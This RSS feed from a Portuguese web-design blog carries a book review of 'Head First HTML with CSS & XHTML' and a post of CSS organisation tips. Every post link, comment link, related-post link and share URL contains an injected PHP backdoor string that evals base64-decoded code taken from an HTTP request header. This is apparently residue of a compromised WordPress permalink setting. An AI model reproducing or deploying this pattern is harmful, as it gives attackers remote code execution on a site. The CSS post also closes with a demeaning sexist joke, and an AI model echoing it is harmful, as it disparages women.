<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Not For Dummies &#187; css</title>
	<atom:link href="http://3folks.com/notfordummies/tag/css/feed/" rel="self" type="application/rss+xml" />
	<link>http://3folks.com/notfordummies</link>
	<description>Além do Hello World</description>
	<lastBuildDate>Fri, 03 Apr 2009 13:41:26 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Use a Cabeça! (Head First) HTML com CSS &amp; XHTML</title>
		<link>http://3folks.com/notfordummies/2009/03/31/use-a-cabeca-head-first-html-com-css-xhtml/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://3folks.com/notfordummies/2009/03/31/use-a-cabeca-head-first-html-com-css-xhtml/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Tue, 31 Mar 2009 11:32:03 +0000</pubDate>
		<dc:creator>elomarns</dc:creator>
				<category><![CDATA[Web Design]]></category>
		<category><![CDATA[css]]></category>
		<category><![CDATA[head first]]></category>
		<category><![CDATA[html]]></category>
		<category><![CDATA[livro]]></category>
		<category><![CDATA[use a cabeça]]></category>
		<category><![CDATA[xhtml]]></category>

		<guid isPermaLink="false">http://3folks.com/notfordummies/?p=257</guid>
		<description><![CDATA[Há um bom tempo atrás eu comprei o livro Use a Cabeça! (Head First) HTML com CSS &#038; XHTML, e apesar de já ter começado a lê-lo várias vezes, somente no início desse ano eu tomei vergonha na cara e o li do início ao fim. Sendo assim, aqui está a minha opinião sobre o [...]


Posts Relacionados:<ol><li><a href='http://3folks.com/notfordummies/2009/03/24/organizando-seu-codigo-css/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/' rel='bookmark' title='Permanent Link: Organizando seu código CSS'>Organizando seu código CSS</a></li></ol>]]></description>
			<content:encoded><![CDATA[<div id="attachment_256" class="wp-caption alignleft" style="width: 210px"><img src="http://3folks.com/notfordummies/wp-content/uploads/2009/03/use-a-cabeca-html-com-css-xhtml-capa.jpg" alt="Use a Cabeça (Head First) HTML COM CSS &amp; XHTML" title="Use a Cabeça (Head First) HTML COM CSS &amp; XHTML" width="200" height="270" class="size-full wp-image-256" float = "left" /><p class="wp-caption-text">Use a Cabeça! (Head First) HTML com CSS &#038; XHTML</p></div>
<p style = "text-align: justify">Há um bom tempo atrás eu comprei o livro <strong>Use a Cabeça! (Head First) HTML com CSS &#038; XHTML</strong>, e apesar de já ter começado a lê-lo várias vezes, somente no início desse ano eu tomei vergonha na cara e o li do início ao fim. Sendo assim, aqui está a minha opinião sobre o livro.</p>
<p style = "text-align: justify">Assim como os demais títulos da <strong>série Use a Cabeça</strong>, esse livro tem uma <strong>abordagem bastante inteligente, focada num texto fácil e extremamente agradável de ler</strong>. Esta característica, combinada com algumas outras, faz com que o nosso cérebro preste mais atenção no conteúdo, além de aumentar as chances de memorização, conforme os livros da série explicam em seus capítulos introdutórios.</p>
<p style = "text-align: justify">Outra tática inteligente do livro é dar <strong>exemplos para cada novo tópico apresentado</strong>, só que limitando o escopo, de forma que os exemplos sejam bem simples e diretos. Isso evita que o leitor fique cansado lendo longos exemplos onde apenas um pequeno trecho é realmente relevante.</p>
<p style = "text-align: justify">Essa abordagem mais direta também é aplicada nos exercícios, que aparecem com razoável frequência, mas sempre bem focados no tópico que está sendo discutido no momento. Além disso, <strong>muitos dos exercícios são divertidos, e o obrigam a pensar fora da caixa</strong>, principalmente os exercícios de palavras cruzadas, presente em quase todos os capítulos.</p>
<p style = "text-align: justify">Uma outra característica que torna o livro mais eficiente na tarefa de ensinar o conteúdo é o fato dele ser redundante sobre muitas coisas importantes. Dessa forma, <strong>alguns tópicos são apresentados mais de uma vez</strong>, só que em contextos e de formas diferentes, muitas vezes adicionando uma pequena novidade, e facilitando que o assunto em questão seja memorizado através da ocorrência repetida.</p>
<p style = "text-align: justify">Ainda sobre a didática do livro, é interessante notar que a série segue essa fórmula não porque está dando certo, ou baseada em achismo, mas porque estudos relacionados a metacognição indicam que <strong>as técnicas de apresentação de conteúdo usadas no livro estão entre as mais eficientes</strong>.</p>
<p style = "text-align: justify">Em relação ao conteúdo propriamente dito, <strong>é impossível não destacar positivamente a preocupação do livro em focar desde o início a separação da estrutura e da apresentação de uma página Web</strong>. Para ter uma idéia do quão engajados eles são em relação a este assunto, já no capítulo que explica sobre a metodologia da série, ou seja, antes mesmo do primeiro capítulo com conteúdo sobre <strong>HTML, XHTML e CSS</strong>, há uma breve e clara explicação sobre a função dessas tecnologias.</p>
<p style = "text-align: justify">Adicionalmente, o livro menciona com frequência que devem ser utilizados os elementos do HTML/XHTML que melhor representarem o conteúdo que está sendo marcado, enfatizando assim a importância da <strong>semântica</strong> no desenvolvimento de uma página Web.</p>
<p style = "text-align: justify">No entanto, nada é perfeito, e este livro não é diferente. Pra começar, <strong>a tradução é péssima</strong>. A <a href="http://www.altabooks.com.br/" title="Página Inicial do Site da Editora Alta Books">Alta Books</a>, que é a editora do livro, fez um trabalho extremamente descuidado na tradução, o que não me surpreendeu, já que o único outro livro traduzido que eu tenho deles, o <a href="http://altabooks.tempsite.ws/product_info.php?products_id=176&#038;osCsid=osmad5qdida0rrnqfems9bgtj3" title="Página do Livro Use a Cabeça! Java no site da Alta Books">Use a Cabeça! Java</a>, também tem uma tradução sofrível.</p>
<p style = "text-align: justify">Aliás, ao meu ver, este é o maior defeito do livro, pois realmente<strong> complica a compreensão do texto por parte de quem não sabe nada sobre HTML, XHTML e CSS</strong>, sendo que este é exatamente o público alvo do livro. Como exemplo deste péssimo trabalho de tradução, eu posso citar nomes de elementos sendo traduzidos, sendo o elemento <em>head</em> o campeão no número de ocorrências.</p>
<p style = "text-align: justify">Outro erro bizarro está nos exemplos de regras do CSS. A extrema maioria delas não possuem um par de chaves tradicional, ou seja, <em>{</em> e <em>}</em>, e sim um bizonho par de chaves <em>{</em> e <em>{</em>. Exemplo:</p>
<pre name="code" class="css">
p
{
  color: maroon;
{
</pre>
<p style = "text-align: justify">O exemplo acima foi tirado do próprio livro, no capítulo que começa a explicar o CSS. Ou seja, quem nunca ouvir falar sobre a linguagem vai ficar bem confuso sobre a forma correta de combinar as chaves. E o mais curioso é que a versão original do livro não contém estes erros, portanto, <strong>a Alta Books fez besteira até onde nem precisava traduzir</strong>.</p>
<p style = "text-align: justify">Contudo, nem todos os defeitos do livro são culpa da <a href="http://www.altabooks.com.br/" title="Página Inicial do Site da Editora Alta Books">Alta Books</a>, uma vez que<strong> há também alguns poucos deslizes na versão original em inglês</strong>. Por exemplo, o livro usa com certa frequência o elemento <em>&lt;br /&gt;</em>, o que, ao me ver, é errado, uma vez que este elemento insera uma quebra de linha, o que caracteriza uma função relacionada a apresentação, não representando absolutamente nada em relação à semântica da página Web. </p>
<p style = "text-align: justify">Outro erro relacionado ao uso incorreto de um elemento no que diz respeito a <strong>semântica</strong> está presente no exemplo abaixo:</p>
<pre name="code" class="xhtml">
  &lt;h1&gt;BEVERAGES&lt;/h1&gt;

  &lt;p&gt;House Blend, $1.49&lt;/p&gt;

  &lt;p&gt;Mocha Cafe Latte, $2.35&lt;/p&gt;

  &lt;p&gt;Cappuccino, $1.89&lt;/p&gt;

  &lt;p&gt;Chai Tea, $1.85&lt;/p&gt;
</pre>
<p style = "text-align: justify">Neste caso, novamente de acordo com a minha opinião, há vários elementos <em>p</em> sendo usados para representar itens de uma lista, portanto o correto seria envolver toda a lista com o elemento <em>ul</em>, que representa listas não ordenadas, e então usar o elemento para itens de lista, <em>li</em>, para cada bebida individual. O resultado seria esse:</p>
<pre name="code" class="xhtml">
  &lt;h1&gt;BEVERAGES&lt;/h1&gt;

  &lt;ol&gt;
    &lt;li&gt;House Blend, $1.49&lt;/li&gt;
    &lt;li&gt;Mocha Cafe Latte, $2.35&lt;/li&gt;
    &lt;li&gt;Cappuccino, $1.89&lt;/li&gt;
    &lt;li&gt;Chai Tea, $1.85&lt;/li&gt;
  &lt;/ol&gt;
</pre>
<p style = "text-align: justify">Mas nesse caso podemos deixar passar, já que na verdade este exemplo está presente na <a href="http://www.headfirstlabs.com/books/hfhtml/" title="Página de Recursos do livro Head First HTML with CSS &#038; XHTML">página de recursos do livro</a>.</p>
<p style = "text-align: justify">Enfim, <strong>o Use a Cabeça! (Head First) HTML com CSS &#038; XHTML é um excelente livro</strong>. Ainda que ele cometa alguns poucos deslizes, é de longe o melhor livro que eu conheço para quem quer aprender <strong>HTML, XHTML e CSS</strong>, uma vez que ensina desde o início a desenvolver páginas Web da maneira correta: usando o HTML ou XHTML para estruturar o conteúdo da página, respeitando a semântica de cada elemento, e definindo a apresentaçao através do CSS.</p>
<p style = "text-align: justify">P.S.: Uma dica para quem se interresou pelo livro: <strong> compre a versão original</strong> e se livre de uma péssima tradução.</p>

<div class="sociable">
<div class="sociable_tagline">
<strong>Redes Sociais:</strong>
</div>
<ul>
	<li><a rel="nofollow" href="http://del.icio.us/post?url=http%3A%2F%2F3folks.com%2Fnotfordummies%2F2009%2F03%2F31%2Fuse-a-cabeca-head-first-html-com-css-xhtml%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_EXECCODE%5D%29%29%7D%7D%7C.%2B%29%26%25%2F&amp;title=Use%20a%20Cabe%C3%A7a%21%20%28Head%20First%29%20HTML%20com%20CSS%20%26%20XHTML" title="del.icio.us"><img src="http://3folks.com/notfordummies/wp-content/plugins/sociable/images/delicious.png" title="del.icio.us" alt="del.icio.us" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow" href="http://twitter.com/home?status=http%3A%2F%2F3folks.com%2Fnotfordummies%2F2009%2F03%2F31%2Fuse-a-cabeca-head-first-html-com-css-xhtml%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_EXECCODE%5D%29%29%7D%7D%7C.%2B%29%26%25%2F" title="TwitThis"><img src="http://3folks.com/notfordummies/wp-content/plugins/sociable/images/twitter.gif" title="TwitThis" alt="TwitThis" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow" href="http://www.google.com/bookmarks/mark?op=edit&amp;bkmk=http%3A%2F%2F3folks.com%2Fnotfordummies%2F2009%2F03%2F31%2Fuse-a-cabeca-head-first-html-com-css-xhtml%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_EXECCODE%5D%29%29%7D%7D%7C.%2B%29%26%25%2F&amp;title=Use%20a%20Cabe%C3%A7a%21%20%28Head%20First%29%20HTML%20com%20CSS%20%26%20XHTML" title="Google"><img src="http://3folks.com/notfordummies/wp-content/plugins/sociable/images/googlebookmark.png" title="Google" alt="Google" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow" href="mailto:?subject=Use%20a%20Cabe%C3%A7a%21%20%28Head%20First%29%20HTML%20com%20CSS%20%26%20XHTML&amp;body=http%3A%2F%2F3folks.com%2Fnotfordummies%2F2009%2F03%2F31%2Fuse-a-cabeca-head-first-html-com-css-xhtml%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_EXECCODE%5D%29%29%7D%7D%7C.%2B%29%26%25%2F" title="E-mail this story to a friend!"><img src="http://3folks.com/notfordummies/wp-content/plugins/sociable/images/email_link.png" title="E-mail this story to a friend!" alt="E-mail this story to a friend!" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow" href="http://www.syxt.com.br/rec6/link.php?url=http%3A%2F%2F3folks.com%2Fnotfordummies%2F2009%2F03%2F31%2Fuse-a-cabeca-head-first-html-com-css-xhtml%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_EXECCODE%5D%29%29%7D%7D%7C.%2B%29%26%25%2F&amp;=Use%20a%20Cabe%C3%A7a%21%20%28Head%20First%29%20HTML%20com%20CSS%20%26%20XHTML" title="Rec6"><img src="http://3folks.com/notfordummies/wp-content/plugins/sociable/images/rec6.gif" title="Rec6" alt="Rec6" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow" href="http://www.stumbleupon.com/submit?url=http%3A%2F%2F3folks.com%2Fnotfordummies%2F2009%2F03%2F31%2Fuse-a-cabeca-head-first-html-com-css-xhtml%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_EXECCODE%5D%29%29%7D%7D%7C.%2B%29%26%25%2F&amp;title=Use%20a%20Cabe%C3%A7a%21%20%28Head%20First%29%20HTML%20com%20CSS%20%26%20XHTML" title="StumbleUpon"><img src="http://3folks.com/notfordummies/wp-content/plugins/sociable/images/stumbleupon.png" title="StumbleUpon" alt="StumbleUpon" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow" href="http://technorati.com/faves?add=http%3A%2F%2F3folks.com%2Fnotfordummies%2F2009%2F03%2F31%2Fuse-a-cabeca-head-first-html-com-css-xhtml%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_EXECCODE%5D%29%29%7D%7D%7C.%2B%29%26%25%2F" title="Technorati"><img src="http://3folks.com/notfordummies/wp-content/plugins/sociable/images/technorati.png" title="Technorati" alt="Technorati" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow" href="http://www.linkedin.com/shareArticle?mini=true&amp;url=http%3A%2F%2F3folks.com%2Fnotfordummies%2F2009%2F03%2F31%2Fuse-a-cabeca-head-first-html-com-css-xhtml%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_EXECCODE%5D%29%29%7D%7D%7C.%2B%29%26%25%2F&amp;title=Use%20a%20Cabe%C3%A7a%21%20%28Head%20First%29%20HTML%20com%20CSS%20%26%20XHTML&amp;source=Not+For+Dummies+Al%C3%A9m+do+Hello+World&amp;summary=%0AH%C3%A1%20um%20bom%20tempo%20atr%C3%A1s%20eu%20comprei%20o%20livro%20Use%20a%20Cabe%C3%A7a%21%20%28Head%20First%29%20HTML%20com%20CSS%20%26%20XHTML%2C%20e%20apesar%20de%20j%C3%A1%20ter%20come%C3%A7ado%20a%20l%C3%AA-lo%20v%C3%A1rias%20vezes%2C%20somente%20no%20in%C3%ADcio%20desse%20ano%20eu%20tomei%20vergonha%20na%20cara%20e%20o%20li%20do%20in%C3%ADcio%20ao%20fim.%20Sendo%20assim%2C%20aqui%20est" title="LinkedIn"><img src="http://3folks.com/notfordummies/wp-content/plugins/sociable/images/linkedin.png" title="LinkedIn" alt="LinkedIn" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow" href="http://www.facebook.com/share.php?u=http%3A%2F%2F3folks.com%2Fnotfordummies%2F2009%2F03%2F31%2Fuse-a-cabeca-head-first-html-com-css-xhtml%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_EXECCODE%5D%29%29%7D%7D%7C.%2B%29%26%25%2F&amp;t=Use%20a%20Cabe%C3%A7a%21%20%28Head%20First%29%20HTML%20com%20CSS%20%26%20XHTML" title="Facebook"><img src="http://3folks.com/notfordummies/wp-content/plugins/sociable/images/facebook.png" title="Facebook" alt="Facebook" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow" href="https://favorites.live.com/quickadd.aspx?marklet=1&amp;url=http%3A%2F%2F3folks.com%2Fnotfordummies%2F2009%2F03%2F31%2Fuse-a-cabeca-head-first-html-com-css-xhtml%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_EXECCODE%5D%29%29%7D%7D%7C.%2B%29%26%25%2F&amp;title=Use%20a%20Cabe%C3%A7a%21%20%28Head%20First%29%20HTML%20com%20CSS%20%26%20XHTML" title="Live"><img src="http://3folks.com/notfordummies/wp-content/plugins/sociable/images/live.png" title="Live" alt="Live" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow" href="http://www.myspace.com/Modules/PostTo/Pages/?u=http%3A%2F%2F3folks.com%2Fnotfordummies%2F2009%2F03%2F31%2Fuse-a-cabeca-head-first-html-com-css-xhtml%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_EXECCODE%5D%29%29%7D%7D%7C.%2B%29%26%25%2F&amp;t=Use%20a%20Cabe%C3%A7a%21%20%28Head%20First%29%20HTML%20com%20CSS%20%26%20XHTML" title="MySpace"><img src="http://3folks.com/notfordummies/wp-content/plugins/sociable/images/myspace.png" title="MySpace" alt="MySpace" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow" href="http://www.tumblr.com/share?v=3&amp;u=http%3A%2F%2F3folks.com%2Fnotfordummies%2F2009%2F03%2F31%2Fuse-a-cabeca-head-first-html-com-css-xhtml%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_EXECCODE%5D%29%29%7D%7D%7C.%2B%29%26%25%2F&amp;t=Use%20a%20Cabe%C3%A7a%21%20%28Head%20First%29%20HTML%20com%20CSS%20%26%20XHTML&amp;s=" title="Tumblr"><img src="http://3folks.com/notfordummies/wp-content/plugins/sociable/images/tumblr.gif" title="Tumblr" alt="Tumblr" class="sociable-hovers" /></a></li>
</ul>
</div>


<p>Posts Relacionados:<ol><li><a href='http://3folks.com/notfordummies/2009/03/24/organizando-seu-codigo-css/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/' rel='bookmark' title='Permanent Link: Organizando seu código CSS'>Organizando seu código CSS</a></li></ol></p>]]></content:encoded>
			<wfw:commentRss>http://3folks.com/notfordummies/2009/03/31/use-a-cabeca-head-first-html-com-css-xhtml/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Organizando seu código CSS</title>
		<link>http://3folks.com/notfordummies/2009/03/24/organizando-seu-codigo-css/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://3folks.com/notfordummies/2009/03/24/organizando-seu-codigo-css/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Tue, 24 Mar 2009 12:02:10 +0000</pubDate>
		<dc:creator>Leonardo Bighi</dc:creator>
				<category><![CDATA[Web Design]]></category>
		<category><![CDATA[css]]></category>
		<category><![CDATA[organização]]></category>

		<guid isPermaLink="false">http://3folks.com/notfordummies/?p=37</guid>
		<description><![CDATA[Uma coisa que eu costumava fazer bastante há alguns anos atrás era subestimar o meu código CSS. Sempre começava a escrever achando que ia ser uma coisa pequena e simples, e aí quando me dava conta eu tinha um código de centenas de linhas, confuso, e impossível de achar alguma coisa sem Ctrl + F.
Então [...]


Posts Relacionados:<ol><li><a href='http://3folks.com/notfordummies/2009/04/03/cada-um-no-seu-quadrado/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/' rel='bookmark' title='Permanent Link: Cada um no seu quadrado'>Cada um no seu quadrado</a></li><li><a href='http://3folks.com/notfordummies/2009/03/31/use-a-cabeca-head-first-html-com-css-xhtml/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/' rel='bookmark' title='Permanent Link: Use a Cabeça! (Head First) HTML com CSS &#038; XHTML'>Use a Cabeça! (Head First) HTML com CSS &#038; XHTML</a></li></ol>]]></description>
			<content:encoded><![CDATA[<p>Uma coisa que eu costumava fazer bastante há alguns anos atrás era subestimar o meu <strong>código CSS</strong>. Sempre começava a escrever achando que ia ser uma coisa pequena e simples, e aí quando me dava conta eu tinha um código de centenas de linhas, confuso, e impossível de achar alguma coisa sem Ctrl + F.</p>
<p>Então eu desenvolvi <strong>5 regrinhas</strong> que ajudaram meu <strong>CSS </strong>a ficar mais organizado, e mais fácil de mexer.</p>
<h3>1- Usar um CSS Reset</h3>
<p><strong>CSS Reset</strong> é como tomar uma droga bem forte. Quem nunca usou acha que não é algo útil, ou até ruim. Mas depois que você experimenta não quer mais voltar atrás e ainda tenta convencer os outros a usarem também.</p>
<p>Apesar dos navegadores terem um ótimo suporte ao <strong>CSS</strong>, muitos deles tem padrões diferentes. Se você não definiu uma coisa, ela é exibida com o padrão do navegador, e isso pode fazer o seu site ficar com caras diferentes de acordo com o navegador do usuário.</p>
<p>O <strong>CSS Reset</strong> pega uma grande parte dos elementos visuais e padroniza eles, geralmente zerando ou definindo um novo padrão. Ele tira as bordas, as margens, os paddings, padroniza o tamanho da fonte, etc. A partir daí, você sabe que as coisas vão ficar mais certinhas em todos os navegadores e não vai ter nenhuma surpresa desagradável.</p>
<p>Recomendo <a title="Eric Meyer Reset" href="http://meyerweb.com/eric/tools/css/reset/index.html"><strong>Eric Meyer Reset</strong></a>, ou o fantástico <a title="YUI Reset" href="http://developer.yahoo.com/yui/reset/"><strong>YUI Reset</strong></a>.</p>
<p><span id="more-37"></span></p>
<h3>2- Colocar em ordem alfabética</h3>
<p>Sabe quando você tem aquele elemento no <strong>CSS </strong>que tem uns 12 parâmetros ou mais? Aí você precisa editar a margem, passa o olho rápido pela lista de parâmetros e não encontra. Cadê a margem que estava aqui? Tá ali bem na sua frente, mas tem que olhar umas 3 vezes pra achar. É um saco.</p>
<p>Eu passei então a organizar meus parâmetros do <strong>CSS </strong>em <strong>ordem alfabética</strong>, e fez uma grande diferença. Eu sempre sei que a <em>border</em> vai estar perto do começo, e que a <em>margin</em> vai estar ali perto do meio, perto do <em>padding</em>.</p>
<h3>3- Separar os trechos de códigos em categorias</h3>
<p>Quando o <strong>CSS </strong>fica realmente grande, o jeito mais fácil de organizar o código é usando comentários pra criar uma separação visual.</p>
<pre name="code" class="css">/* ------------------------------------------- */
/* ---------- MENU LATERAL ------------------- */
/* ------------------------------------------- */
elemento {
    color: #000;
    background: #FFF;
    outros códigos...
}
elemento a {...}
elemento img {...}

/* ------------------------------------------- */
/* ---------- RODAPÉ ------------------------- */
/* ------------------------------------------- */

div#footer {...}
div img {...}</pre>
<p>Fica ainda mais organizado se as categorias estiverem numa ordem lógica, indo dos elementos mais genéricos pros mais específicos.</p>
<h3>4- Colocar seu esquema de cores como comentário  no topo</h3>
<p>Geralmente no site você tem umas poucas cores selecionadas pra usar. O que acontecia muito comigo era toda hora ter que parar pra procurar qual era mesmo o código daquele azul do título, ou o código do vermelho da borda do rodapé.</p>
<p>Uma <strong>solução simples</strong> passou a me poupar muito tempo.</p>
<p>Eu passei a colocar um comentário no topo do <strong>CSS</strong>, indicando os códigos das cores do meu site.</p>
<pre name="code" class="css">/* ---------- CORES ------------------------- */
/*
    Azul Claro: #A8EFEE;
    Marrom Escuro: #473B38;
    Rosa Clodovil: #FF4095;
    Amarelo Urina: #F2D843;
*/</pre>
<h3>5 &#8211; Não usar o parâmetro <em>important!</em></h3>
<p>O <strong>CSS </strong>tem o recurso <strong><em>important!</em></strong> que serve para definir uma regra como prioridade máxima, insubstituível. E isso atrapalha demais. Se você definiu, por exemplo, a cor da fonte como <em>!important</em>, não tem nada que você possa fazer no <strong>CSS</strong> pra definir outra cor de fonte. Na verdade, <strong>nem por javascript</strong> você conseguirá mudar a cor da fonte. O <em>important!</em> sempre tem prioridade máxima.</p>
<p>Acontece que no fim das contas isso sempre acaba atrapalhando no futuro. Mesmo que a versão inicial do layout saia legal, mais cedo ou mais tarde você vai precisar editar o seu site e aquele <em>important!</em> perdido lá vai te dar dor de cabeça.</p>
<p>Se você usou esse recurso no seu <strong>CSS</strong>, é porque <strong>algo não está certo</strong>. Dá pra organizar todo o seu site sem ter que usar isso, e é bom se planejar para isso desde o começo.</p>
<p><strong>Usar !important no CSS é como casar com mulher promíscua</strong>. Você pode não ter tido nenhum problema até agora, mas é só questão de tempo.</p>

<div class="sociable">
<div class="sociable_tagline">
<strong>Redes Sociais:</strong>
</div>
<ul>
	<li><a rel="nofollow" href="http://del.icio.us/post?url=http%3A%2F%2F3folks.com%2Fnotfordummies%2F2009%2F03%2F24%2Forganizando-seu-codigo-css%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_EXECCODE%5D%29%29%7D%7D%7C.%2B%29%26%25%2F&amp;title=Organizando%20seu%20c%C3%B3digo%20CSS" title="del.icio.us"><img src="http://3folks.com/notfordummies/wp-content/plugins/sociable/images/delicious.png" title="del.icio.us" alt="del.icio.us" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow" href="http://twitter.com/home?status=http%3A%2F%2F3folks.com%2Fnotfordummies%2F2009%2F03%2F24%2Forganizando-seu-codigo-css%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_EXECCODE%5D%29%29%7D%7D%7C.%2B%29%26%25%2F" title="TwitThis"><img src="http://3folks.com/notfordummies/wp-content/plugins/sociable/images/twitter.gif" title="TwitThis" alt="TwitThis" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow" href="http://www.google.com/bookmarks/mark?op=edit&amp;bkmk=http%3A%2F%2F3folks.com%2Fnotfordummies%2F2009%2F03%2F24%2Forganizando-seu-codigo-css%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_EXECCODE%5D%29%29%7D%7D%7C.%2B%29%26%25%2F&amp;title=Organizando%20seu%20c%C3%B3digo%20CSS" title="Google"><img src="http://3folks.com/notfordummies/wp-content/plugins/sociable/images/googlebookmark.png" title="Google" alt="Google" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow" href="mailto:?subject=Organizando%20seu%20c%C3%B3digo%20CSS&amp;body=http%3A%2F%2F3folks.com%2Fnotfordummies%2F2009%2F03%2F24%2Forganizando-seu-codigo-css%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_EXECCODE%5D%29%29%7D%7D%7C.%2B%29%26%25%2F" title="E-mail this story to a friend!"><img src="http://3folks.com/notfordummies/wp-content/plugins/sociable/images/email_link.png" title="E-mail this story to a friend!" alt="E-mail this story to a friend!" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow" href="http://www.syxt.com.br/rec6/link.php?url=http%3A%2F%2F3folks.com%2Fnotfordummies%2F2009%2F03%2F24%2Forganizando-seu-codigo-css%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_EXECCODE%5D%29%29%7D%7D%7C.%2B%29%26%25%2F&amp;=Organizando%20seu%20c%C3%B3digo%20CSS" title="Rec6"><img src="http://3folks.com/notfordummies/wp-content/plugins/sociable/images/rec6.gif" title="Rec6" alt="Rec6" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow" href="http://www.stumbleupon.com/submit?url=http%3A%2F%2F3folks.com%2Fnotfordummies%2F2009%2F03%2F24%2Forganizando-seu-codigo-css%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_EXECCODE%5D%29%29%7D%7D%7C.%2B%29%26%25%2F&amp;title=Organizando%20seu%20c%C3%B3digo%20CSS" title="StumbleUpon"><img src="http://3folks.com/notfordummies/wp-content/plugins/sociable/images/stumbleupon.png" title="StumbleUpon" alt="StumbleUpon" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow" href="http://technorati.com/faves?add=http%3A%2F%2F3folks.com%2Fnotfordummies%2F2009%2F03%2F24%2Forganizando-seu-codigo-css%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_EXECCODE%5D%29%29%7D%7D%7C.%2B%29%26%25%2F" title="Technorati"><img src="http://3folks.com/notfordummies/wp-content/plugins/sociable/images/technorati.png" title="Technorati" alt="Technorati" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow" href="http://www.linkedin.com/shareArticle?mini=true&amp;url=http%3A%2F%2F3folks.com%2Fnotfordummies%2F2009%2F03%2F24%2Forganizando-seu-codigo-css%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_EXECCODE%5D%29%29%7D%7D%7C.%2B%29%26%25%2F&amp;title=Organizando%20seu%20c%C3%B3digo%20CSS&amp;source=Not+For+Dummies+Al%C3%A9m+do+Hello+World&amp;summary=Uma%20coisa%20que%20eu%20costumava%20fazer%20bastante%20h%C3%A1%20alguns%20anos%20atr%C3%A1s%20era%20subestimar%20o%20meu%20c%C3%B3digo%20CSS.%20Sempre%20come%C3%A7ava%20a%20escrever%20achando%20que%20ia%20ser%20uma%20coisa%20pequena%20e%20simples%2C%20e%20a%C3%AD%20quando%20me%20dava%20conta%20eu%20tinha%20um%20c%C3%B3digo%20de%20centenas%20de%20linhas%2C%20confu" title="LinkedIn"><img src="http://3folks.com/notfordummies/wp-content/plugins/sociable/images/linkedin.png" title="LinkedIn" alt="LinkedIn" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow" href="http://www.facebook.com/share.php?u=http%3A%2F%2F3folks.com%2Fnotfordummies%2F2009%2F03%2F24%2Forganizando-seu-codigo-css%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_EXECCODE%5D%29%29%7D%7D%7C.%2B%29%26%25%2F&amp;t=Organizando%20seu%20c%C3%B3digo%20CSS" title="Facebook"><img src="http://3folks.com/notfordummies/wp-content/plugins/sociable/images/facebook.png" title="Facebook" alt="Facebook" class="sociable-hovers" /></a></li>
